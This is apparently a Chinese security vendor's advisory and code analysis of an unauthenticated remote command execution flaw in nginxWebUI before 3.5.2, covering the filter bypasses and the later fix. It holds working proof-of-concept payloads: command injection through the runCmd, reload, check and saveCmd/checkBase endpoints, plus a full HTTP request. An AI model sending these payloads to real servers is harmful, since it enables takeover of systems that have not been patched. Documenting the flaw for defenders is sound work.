盛世集团

提交需求
*
*

*
*
*
立即提交
点击”立即提交” ,表明我理解并同意 《盛世集团科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于盛世集团

    申请试用
      nginxWebUI runCmd远程命令执行漏洞
      发布时间:2023-07-14 阅读次数: 2030 次

      2018122119040040

      漏洞描述

      nginxWebUI是一款图形化管理nginx配置的工具 ,能通过网页快速配置nginx的各种功能 ,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置 ,配置完成后可以一键生成nginx.conf文件 ,并控制nginx使用此文件进行启动和重载。nginxWebUI后台提供执行nginx相关命令的接口 ,由于未对用户的输入进行过滤 ,导致可在后台执行任意命令。并且该系统权限校验存在问题 ,导致存在权限绕过 ,在前台可直接调用后台接口 ,最终可以达到无条件远程命令执行的效果。


      影响范围:

      nginxWebUI < 3.5.2

      漏洞复现

      Poc:

      url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx

      漏洞分析(3.4.6版本)

      漏洞定位:

      根据gitee的更新历史https://gitee.com/cym1102/nginxWebUI ,寻找开发者关于此漏洞的更新情况。

      以3.4.6版本为例 ,反编译其jar包:

      根据poc搜索/adminPage/conf ,定位到路由:

      \com\cym\controller\adminPage\ConfController.class 44行

      图片

      然后根据poc的参数 ,找到runcmd方法

      \com\cym\controller\adminPage\ConfController.class 274行

      图片

      定义了一个runCmd方法来处理用户输入的命令并执行。根据输入的type参数 ,调用settingService的set方法进行设置。然后使用RuntimeUtil类来执行命令 ,如果是Windows系统 ,则使用"cmd /c start"来执行命令 ,如果是其他系统 ,则使用"/bin/sh -c"来执行命令。最后 ,根据执行结果返回相应的JsonResult。

      这里可以对cmd参数进行拼接 ,操控拼接的命令进行命令执行。

      3.4.7版本分析

      同理定位 runcmd方法:\com\cym\controller\adminPage\ConfController.class 274行

      图片

      增加了一个replaceAll方法:

      图片


      效果是对;’   \\|    //{    //}

      对这些符号做一个转义替换 、且cmd参数中要存在“nginx”字段

      构造payload:

      http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx

      即 calc&&nginx

      3.5.2版本分析

      3.4.8升级框架为solon2

      图片

      3.5.2开发者对漏洞进行了更新

      图片


      根据gitee的版本对比 ,定位到:

      src/main/java/com/cym/config/AppFilter.java 

      图片

      加了一个过滤器 ,用于对请求进行过滤和拦截。首先 ,它检查请求的路径是否包含特定的文件夹(如/lib/、/js/、/doc/等) ,如果不包含 ,则调用frontInterceptor方法进行处理。接下来 ,它再次检查请求的路径是否包含/adminPage/ ,如果包含且不包含特定的文件夹 ,则调用adminInterceptor方法进行处理。最后 ,如果adminInterceptor返回false ,则将请求设置为已处理。

      图片


      但是在path().toLowerCase()将路径转换为小写 ,第二个if下没有将路径转化成小写。

      可以在此进行大小写绕过。

      3.6.3版本分析

      \com\cym\controller\adminPage\ConfController.class 316

      图片

      图片

      定义了一个私有的isAvailableCmd(String cmd)方法 ,通过switch语句 ,根据cmd的哈希值进行匹配 ,判断cmd是否和预定义的命令匹配。匹配成功则返回true ,即命令可用。

      相当于彻底写死 ,只执行预定义的、与nginx相关的命令 ,而不是其他命令。

      抛砖引玉:

      写完这篇文章后看到了白给师傅的poc补充 ,他补充了关于此漏洞的另外几个命令执行点 ,和文件上传点 ,非常牛逼 ,值得思考和学习。

      大佬文章:

      https://mp.weixin.qq.com/s/oKsR7bm3tleJIS675Qt0RA

      补充:

      命令执行点1

      com.cym.controller.adminPage.ConfController#reload()方法

      Payload

      http://localhost:8080/AdminPage/conf/reload?nginxExe=calc%20%7C

      命令执行点2

      com.cym.controller.adminPage.ConfController#check()方法

      Payload


      POST /AdminPage/conf/check HTTP/1.1
      Host: 127.0.0.1:8080
      Content-Length: 151
      Accept: */*
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
      Content-Type: application/x-www-form-urlencoded;charset=UTF-8
      Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Cookie: SOLONID=1788f71299dc4608a355ff347bf429fa
      Connection: close
      nginxExe=calc%20%7C&json=%7B%22nginxContent%22%3A%22TES%22%2C%22subContent%22%3A%5B%22A%22%5D%2C%22subName%22%3A%5B%22A%22%5D%7D&nginxPath=C%3A%5CUsers

      命令执行点3

      com.cym.controller.adminPage.ConfController#checkBase()方法 ,此方法从设置中获取nginxExe nginxDir两个属性后拼接到命令再造成命令执行漏洞

      payload

      //第一步设置属性

      http://localhost:8080/AdminPage/conf/saveCmd?nginxExe=calc%20%7c&nginxPath=a&nginxDir=a

      //第二步执行命令

      http://localhost:8080/AdminPage/conf/checkBase

      任意文件上传1

      com/cym/controller/adminPage/MainController.java

      任意文件上传2

      com/cym/controller/adminPage/ServerController.java

      盛世集团·(中国大陆)官方网站 免费试用
      盛世集团·(中国大陆)官方网站 服务热线
      盛世集团·(中国大陆)官方网站

      马上咨询

      400-811-3777

      盛世集团·(中国大陆)官方网站 回到顶部
      【网站地图】